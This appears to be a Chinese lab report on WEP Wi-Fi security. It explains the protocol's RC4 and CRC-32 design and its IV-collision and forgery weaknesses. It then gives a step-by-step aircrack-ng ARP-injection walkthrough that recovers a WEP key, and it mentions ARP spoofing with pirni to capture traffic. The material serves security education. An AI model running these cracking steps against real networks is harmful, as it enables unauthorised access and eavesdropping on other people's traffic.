1 WEP 概述
WEP(Wired Equivalent Privacy)叫做有线等效加密,是一种可选的链路层安全机制,用来提供访问控制、数据加密和安全性检验等功能,是无线领域第一个安全协议。WEP的实现在802.11中是可选项,其MPDU格式如下所示:
2 密钥派生与分发
WEP的密钥在802.11(1999)以前的版本中规定为64bits(40bits 静态Key +24bits IV),后来有些厂家将静态共享Key拓展到了104bits,再加上24bits初始化向量便构成128bits的WEP密钥。关于WEP的密钥类别划分以及密钥名称容易混淆,各类参考资料规范不一,本文主要参考标准定义,分为如下两类密钥:
Default Key(s)
Key mapping Key(s)
两者区别如下图所示:
Default Keys常用于构建小到中型网络,802.11规定每个系统中应该有四个Default Keys,但事实上只需要一个,支持多个Default Key主要是便于平滑改变密钥,我们把起作用的密钥称作为Active Key。
Key mapping Keys的基本原则是每个移动设备都有属于自己的密钥,该种方式常用于构建大型网络,这样可以克服Default Key所带来的密钥维护、更新困难问题,但并不是所有的厂家都支持Key mapping Keys,每个移动设备中使用不同的密钥在广播处理中会带来一些不可避免的计算问题,且AP上需要存储每个STA端的密钥,目前,对于广播包的处理比较可取的方法是使用Default Key,所以目前大多数产品都只支持Default Key。
3 认证
WEP的认证方式有两种:Open System及Shared Key。Open System无任何安全性可言,任何STA都可以接入网络;Shared Key则通过共享40bits或104bits静态密钥来实现认证。两者认证过程如下图所示:
上图中的challege为AP发送给STA的一个128bits的随机数,然后STA用WEP密钥进行加密后返回到AP端,AP验证成功后,则返回认证成功的消息给STA,从而完成认证。
以上认证过程中所用管理帧的帧体格式如下所示:
其中,Algorithm Number用于标识认证类型:0:Open System;1:Shared Key;
Transaction Sequence用于标识认证的步骤;
Status Code:用于最后一帧标识认证是否成功;
Challenge Text field:128bits伪随机数。
4 封装/解封装流程
WEP封装过程如图所示:
IV为初始化向量,WEP Key为密钥,种子密钥Seed(64或128bits)=IV+WEP Key, Key Stream= RC4PRGA (Seed)的伪随机数密钥流,Plaintext为明文,CRC-32=CRC32(Plaintext)为明文的完整性校验值,XOR为异或运算,Ciphertext为最终的密文,最后,将IV+Ciphertext一起发送出去。
WEP解封装过程如图所示:
Ciphertext为密文,它采用与加密相同的算法产生解密伪随机数密钥流,再将密文与之XOR得到明文,将明文按照CRC32算法计算得到完整性校验值CRC-32′,如果加密密钥与解密密钥相同,且CRC-32′= CRC-32,则接收端就得到了原始明文数据,否则解密失败。
5 校验
WEP在MPDU的最后添加了4个字节的CRC (Cyclic Redundancy Check)校验,用于保证数据的完整性:
1 安全性分析
WEP加密算法实际上是利用RC4流密钥算法作为伪随机数产生器,将初始化向量IV和WEP密钥组合而成的种子密钥输入到该随机数产生器中生成WEP密钥流,再由该密钥流与WEP帧数据负载进行异或运算来完成加密的。其中,RC4流密钥算法是将种子密钥进行某种置换和组合运算来生成WEP密钥流的,由于WEP帧中数据负载的第一个字节是LLC头,这个头信息对于每个WEP帧都是相同的,攻击者利用猜的第一个明文字节和WEP帧数据负载密文进行异或运算就可得到PRNG生成的密钥流中的第一字节,此外,种子密钥中的24比特初始化矢量IV是以明文形式传送的,攻击者可以将其截获,分析可知,224个数据包后肯定会出现重复的IV值,而且在实际实现中IV值重复的概率远远大于224,那么根据生日悖论,大约212个数据包后出现相同的IV值的概率将大于0.5,假设处于繁忙工作状态下的AP每秒钟可以发送1000个数据包,则在5秒后相同的IV值出现的概率就大于0.5,即使IV采用累加的方式,隔几个小时也会出现重复的IV值,重复出现IV值的现象叫做初始化向量碰撞,这种现象对数据的机密性有极大的危害,假设我们知道发生初始化向量碰撞的两段密文值Ciphertext1、Ciphertext2,由于明文是有统计规律的语言,结合字典攻击,就能够以极大概率猜测到明文Plaintext1、Plaintext2的值,并可以使用明文的CRC校验值来判断得到的猜测值是否正确。许多攻击实例证明:利用已知的初始化向量IV和第一个字节密钥流输出,并结合RC4流密钥算法的特点,可以通过计算确定WEP密钥。
此外,WEP的CRC校验算法也存在攻击缺陷,首先,CRC检验和是有效数据的线性函数(针对异或操作而言,即C(x+y)=C(x) +C(y)),利用这个性质,攻击者可篡改明文P的内容,若攻击者知道要传送的明文Plaintext的具体内容(已知明文攻击),就可算出RC4PRGA (Seed),RC4PRGA (Seed)= Plaintext+(Plaintext+RC4PRGA (Seed)),然后可构造自己的加密数据Ciphertext ‘=( Plaintext ‘,CRC32(Plaintext ‘))+RC4PRGA (Seed)和原来的IV一起发送给接收者(802.11允许IV重复使用)。
2 安全弱点归纳
目前WEP在被动攻击和主动攻击中的破解都已经得到了证实,其安全弱点可以归纳成以下几点:
1)802.2头信息和简单的RC4流密码算法,导致攻击者在客户端并获取到大量有效通信数据时,便可分析出WEP的密码;
2)IV重复使用,导致在攻击者在有客户端且通信量少或者没有通讯时,可以使用ARP重放的方法获得大量有效数据;
3)无(弱)身份认证机制,导致攻击者能和AP建立伪链接,进而获得XOR后的输出文件;
4)使用线性函数CRC32进行完整性校验,导致攻击者能用XOR文件伪造一个ARP包捕获大量有效数据。
1 BT4及其破解简介
BT4全称Back Track four,是一个封装好的Linux操作系统,内置大量的网络安全检测工具以及黑客破解软件等。
WEP破解可大致分为两步
1)捕获加密数据包(获取初始化向量IVs)
2)利用加密数据包破解
2 破解原理及步骤
根据包捕获方式有两种方法:静态被动监听、主动的注入并监听。
静态被动监听,数据流量有限,IV获取效率很低,使得破解时间代价很大;主动注入的方法提升了IV获取速度,在有客户端的情况下捕获BSS内其他用户ARP包注入,在无客户端时关联后构造ARP包并注入,这样通过快速重放的方式可以短时间破解。
破解的基本理念是用aireplay-ng进行一个ARP包的重放以产生新的不同的IV,然后,aircrack-ng用这些不同的IV破解WEP密钥。因此,选用ARP注入方式破解。
ARP注入破解实验需要满足条件:
①网卡和驱动支持注入;与AP物理距离足够进,因为AP的信号强度大于实验用的无线网卡,接收到数据并不代表能把数据发送给AP;
②待破解网络中至少有一个有线或无线客户端并且活跃,否则,破解所依赖的至少一个ARP包将无法得到。
注入破解的步骤如下:
① 启动无线接口,在监听模式,在待破解AP的频道
② 测试无线设备注入AP的能力
③ 用aireplay-ng与AP的捏造一个认证(无客户端才采用此步骤)
④ 启动airodump-ng,在AP频道,用bssid过滤器来收集新的IVs
⑤ 启动aireply-ng,在ARP请求重放模式下,注入包
⑥ 启动aircrack,用收集到的IVs破解key
应用设备和环境如下
l MAC address of PC running aircrack-ng suite: 00:1e:65:16:83:72
l BSSID (MAC address of access point): 00:23:54:a9:d6:20
l ESSID (Wireless network name): westresearch
l Access point channel: 6
l Wireless interface: mon0
命令集如下:
Step1
airmon-ng stop ath0 // Ensure there are no other athX interfaces, If there were, stop each one.
airmon-ng start wifi0 6 // Start the wireless card on channel 6 in monitor mode.
Step2
aireplay-ng -6 -e teddy -a 00:23:54:a9:d6:20 ath0 // ensures that your card is within distance of your AP and can inject packets to it.
Step3
airodump-ng -c 6 –bssid 00:23:54:a9:d6:20 -w output mon0 //capture the IVs generated
Step4
aireplay-ng -3 -b 00:23:54:a9:d6:20 -h 00:1e:65:16:83:72 –x 300 mon0 //Open another console session and enter
Step5
aircrack-ng –b 00:23:54:a9:d6:20 output*.cap
3 命令执行结果
如图所示,最终破解的key为37:DD:5A:07:41
解密的明文如下
1 iPad破解不可行
两个“支持”不满足。iPad的网卡芯片:Marvell W8686B22,芯片本身根本就不支持混杂模式,没有支持混杂模式的驱动。通过实验验证了这一情况,因而用iPad攻击WEP是不可行的。(http://www.macosx.com.cn/2011/0114/59198.html)
认清现实之前,有过的尝试:
利用PC来注入,在iPad上用pirni接收加密包,加快捕获速度
并计划如果PC注入+pirni成功,编写iPad上的注入程序+pirni
甚至考虑过将Aircrack-ng和相关驱动在iPad上编译安装
2 iPad能做些什么
Pirni:在一个BSS内通过ARP欺骗将自己冒充为一节点(可以是AP)来捕获流量,通过监听数据来获取敏感信息。由于是已经连接到AP,即是已经得到key,对于破解WEP无用途。(http://www.macosx.com.cn/2011/0114/59198.html)
迫不得已,将iPad连入已破解的AP,尝试去验证性地破解(而实际上pirni所收到的包当然都已被解密…)
3 iPad还能有助于破解吗
接一个USB的外接(支持混杂模式的)网卡,在iPad上为该外接网卡编译安装驱动,但是iPad不支持USB设备,想法破灭。即是iPad以后支持USB,那已经不是iPad在破解,与实验初衷相悖,无太大意义。
附图:利用SSH在iPad上进行的破解尝试
1)WEP弱点的原因
IV过短,RC4本身脆弱,数据加密方式“异或”太简单,WEP中没有更换自动更换BSS密钥的机制。
2)为什么ARP注入破解所需的IVs数量远小于普通加密包,且破解(ptw方式)速度更快?
一方面,已知的明文较多,根据ARP报文帧格式,ARP包中往往只有序列号一个为未知,即几乎全部已知明文。另一方面,单一的报文格式可以简化优化破解算法,加快破解速度。
3)为什么注入没有应答的ARP请求包?
这样会通过AP产生一个ARP广播,使aireplay-ng开始再注入。
参考文献:
[1] Andrea Bittau, Mark Handley, Joshua Lackey. The Final Nail in WEP’s Coffin. Retrieved 2008-03-16.
[2]“What is a WEP key?”. lirent.net. Retrieved 2008-03-11.
[3] Wireless Network Security : Comparison of WEP (Wired Equivalent Privacy) Mechanism, WPA (Wi-Fi Protected Access) and RSN (Robust Security Network) Security Protocols
[4] Adam Stubblefield1, John Ioannidis. Aviel D. Rubin. Using the Fluhrer, Mantin, and Shamir Attack to Break WEP. August 6, 2001
[5] Walker, Jesse. Unsafe at any key size; An analysis of the WEP encapsulation. Jan.-Feb. 2003